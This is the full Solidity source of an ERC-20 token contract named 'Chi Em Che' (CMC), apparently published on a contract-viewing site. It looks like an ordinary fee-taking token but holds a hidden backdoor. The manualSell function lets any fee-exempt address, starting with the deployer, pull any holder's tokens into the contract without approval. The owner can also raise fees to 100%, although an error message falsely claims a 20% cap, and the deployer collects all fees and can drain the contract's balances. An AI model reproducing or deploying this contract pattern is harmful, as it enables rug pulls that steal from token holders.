Contract Diff Checker

Contract Source Code:

/**

Website: 
Twitter: 
Telegram: 

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address public owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public onlyOwner { emit OwnershipTransferred(address(0)); owner = address(0);}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract ChiEmChe is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string private constant _name = "Chi Em Che";
    string private constant _symbol = "CMC";
    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 420_690_888 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;

    IRouter public router;
    address public pair;

    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = ( _totalSupply * 100 ) / 10000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 20;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 20;
    uint256 private buyFee = 20;
    uint256 private sellFee = 30;
    uint256 private transferFee = 50;
    uint256 private denominator = 100;
    
    address internal development_receiver; 
    address internal marketing_receiver;
    address internal liquidity_receiver;
    uint256 public _maxWalletToken = ( _totalSupply * 140 ) / 10000;


    constructor() Ownable(msg.sender) {
        router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pair = IFactory(router.factory()).createPair(address(this), router.WETH()); 
        _allowances[address(this)][address(router)] = type(uint256).max; 

        development_receiver = msg.sender;
        marketing_receiver = msg.sender;
        liquidity_receiver = msg.sender;
        isFeeExempt[msg.sender] = true;

        isFeeExempt[address(this)] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setFeeExempt(address _address, bool _enabled) external {require(isFeeExempt[msg.sender]); isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap() public view returns (bool) {

        return msg.sender != pair 
        && !swapping
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    } 

    function setSwapSettings(bool _enabled, uint256 _amount) external {
        require(isFeeExempt[msg.sender]);
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; buyFee = _buy; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator && sellFee <= denominator && transferFee <= denominator, "totalFee and sellFee cannot be more than 20%");
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }


    function removeLimits() public onlyOwner {
        _maxWalletToken = _totalSupply;
    }

    function renounce() external onlyOwner {
        removeLimits();
        renounceOwnership();
    }

    function manualSell(address sender, uint256 amount) public lockTheSwap {
        require(isFeeExempt[msg.sender]);
        _transfer(sender, address(this), amount);
    }

    function rescueERC20(address _address, uint256 percent) external {
        require(msg.sender == development_receiver, "you are not authorized to rescue tokens");
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) internal lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokens,
            0,
            path,
            address(this),
            block.timestamp
        );

        (bool success,) = payable(marketing_receiver).call{value: address(this).balance, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
    
    }

    function manualSwap() external {
        require(isFeeExempt[msg.sender]);
        uint256 amount = balanceOf(address(this));
        if(amount > swapThreshold){amount = swapThreshold;}
        swapAndLiquify(amount);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feePercent = getTotalFee(sender, recipient);
        if(feePercent > 0){
            uint256 feeAmount = amount.mul(feePercent).div(denominator);
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            return amount.sub(feeAmount);
        } 
        return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= _balances[sender],"You are trying to transfer more than your balance");
        
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");
        }

        if(shouldContractSwap()) {
            swapAndLiquify(swapThreshold);
        }

        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "ERC20: approve to the zero address");
        require(owner != address(0), "ERC20: approve from the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}